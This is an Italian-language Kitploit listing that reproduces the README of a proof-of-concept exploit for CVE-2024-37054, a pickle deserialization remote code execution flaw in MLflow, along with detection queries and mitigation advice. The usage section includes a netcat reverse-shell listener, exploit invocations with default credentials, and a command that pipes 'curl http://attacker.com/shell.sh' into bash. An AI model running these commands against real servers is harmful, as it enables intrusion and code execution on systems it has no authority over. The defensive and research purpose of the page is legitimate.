Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37054 — Exploit proof-of-concept per CVE-2024-37054, una RCE di deserializzazione pickle in MLflow Tracking Server. Gli attaccanti autenticati possono sovrascrivere gli artefatti del modello per ottenere l'esecuzione remota di codice. Include indicazioni di rilevamento e mitigazione. | Kitploit
Strumenti/GitHubGitHub/ben-slates/cve-2024-37054
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Exploit proof-of-concept per CVE-2024-37054, una RCE di deserializzazione pickle in MLflow Tracking Server. Gli attaccanti autenticati possono sovrascrivere gli artefatti del modello per ottenere l'esecuzione remota di codice. Include indicazioni di rilevamento e mitigazione.

Vedi Repository
5453 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-37054 — RCE tramite deserializzazione Pickle in MLflow

Python CVE CVSS Affected License

Exploit proof-of-concept per una vulnerabilità critica di deserializzazione pickle nel MLflow Tracking Server, che consente l'esecuzione remota di codice autenticata.

⚠️ Solo per test di sicurezza educativi e autorizzati. Non utilizzare contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta al test.


Panoramica della vulnerabilità

CampoValore
CVE IDCVE-2024-37054
Punteggio CVSS8.8 (ALTO)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versioni interessateMLflow < 2.14.3
Versione correttaMLflow ≥ 2.14.3
Tipo di vulnerabilitàCWE-502: Deserializzazione di dati non attendibili
Vettore di attaccoRete
Privilegi richiestiBassi (credenziali valide)
Interazione utenteNessuna

Descrizione

Il MLflow Tracking Server deserializza gli artifact dei modelli tramite il modulo pickle di Python quando carica i modelli per l'inferenza. Un attaccante autenticato può sovrascrivere l'artifact python_model.pkl nel repository degli artifact di MLflow con un payload pickle dannoso. Quando il modello viene successivamente caricato (ad esempio durante una richiesta di predizione), il payload viene deserializzato, eseguendo codice arbitrario sul server.

Prerequisiti per lo sfruttamento:

  • Accesso di rete al MLflow Tracking Server
  • Credenziali MLflow valide (predefinite o altre)
  • Accesso in scrittura agli artifact (concesso a tutti gli utenti autenticati)

Impatto

Lo sfruttamento riuscito consente l'esecuzione remota di codice al livello di privilegio del processo del server MLflow, il che può portare alla compromissione totale del sistema, all'esfiltrazione di dati, al movimento laterale o all'accesso persistente.


Come funziona l'exploit

  1. Registrazione del modello — Viene caricato un dataset di addestramento legittimo per creare una nuova run MLflow e registrare una versione del modello con artifact standard.
  2. Sovrascrittura dell'artifact — L'artifact python_model.pkl viene sostituito con un payload pickle appositamente costruito tramite PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Attivazione della deserializzazione — Una richiesta di predizione induce MLflow a chiamare pickle.load() sull'artifact compromesso.
  4. Esecuzione del codice — Il metodo __reduce__ del pickle invoca os.system(), eseguendo il comando dell'attaccante.

Il payload utilizza os.system() (una built-in C) anziché cloudpickle per massimizzare la compatibilità tra versioni ed evitare problemi di bytecode specifici della versione di Python.


Installazione

Requisiti: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Utilizzo

root@kitploit:~
# Start a listener
nc -lvnp 4444

# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Esempi

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Opzioni

ArgomentoDescrizione
targetURL dell'applicazione target
mlflowURL del MLflow Tracking Server
lhostHost dell'attaccante per la callback della reverse shell
lportPorta dell'attaccante per la callback della reverse shell
--mlflow-creds USER:PASSCredenziali MLflow (predefinite: admin:password)
--app-usernameNome utente per il login dell'applicazione
--app-passwordPassword per il login dell'applicazione
--app-login-urlPercorso dell'endpoint di login
--upload-urlPercorso dell'endpoint di upload
--predict-urlPercorso dell'endpoint di predizione
--experiment-id IDPunta a uno specifico ID di esperimento
--delay SECONDSRitardo tra i passaggi (predefinito: 2s)
--cmd COMMANDComando personalizzato da eseguire
--verbose / --quietControllo della verbosità
--no-colorDisattiva l'output colorato

Rilevamento

Indicatori di rete

  • Richieste PUT agli endpoint /api/2.0/mlflow-artifacts/artifacts/
  • Timestamp di modifica inattesi su python_model.pkl
  • POST /api/2.0/mlflow/runs/search seguito immediatamente da modifiche agli artifact

Indicatori sull'host

  • Chiamate os.system() inattese dai processi MLflow
  • Sottoprocessi Python generati dai processi worker di MLflow
  • Connessioni in uscita dal server MLflow verso host sconosciuti

Query sui log

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Mitigazione

Immediate:

  • Aggiorna MLflow alla versione 2.14.3 o successiva
  • Ruota eventuali credenziali predefinite o deboli
  • Limita l'accesso di rete agli endpoint API di MLflow
  • Controlla la cronologia delle modifiche agli artifact per individuare segni di manomissione

A lungo termine:

  • Implementa la firma degli artifact e la verifica dell'integrità prima di caricare i modelli
  • Utilizza l'applicazione delle firme dei modelli e limita i flavor di modelli basati su pickle dove possibile
  • Abilita la registrazione di audit di MLflow e genera avvisi su scritture inattese di artifact

Ambienti testati

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Varie configurazioni di distribuzione: locale, Docker, Kubernetes

Riferimenti

  • NVD — CVE-2024-37054
  • Avviso di sicurezza MLflow
  • CWE-502: Deserializzazione di dati non attendibili
  • Documentazione MLflow — Model Registry

Disclaimer

Questo strumento è destinato esclusivamente a:

  • Ricercatori di sicurezza che studiano le vulnerabilità di deserializzazione
  • Penetration tester che operano con autorizzazione scritta
  • Amministratori di sistema che controllano le proprie distribuzioni MLflow
  • Uso educativo in ambienti di laboratorio controllati

Non utilizzare questo strumento su sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta al test. L'autore non si assume alcuna responsabilità per un uso improprio.


Licenza

MIT — vedi LICENSE per i dettagli.


Contatti

📧 [email protected]
🐛 Segnala un problema

Scarica lo strumento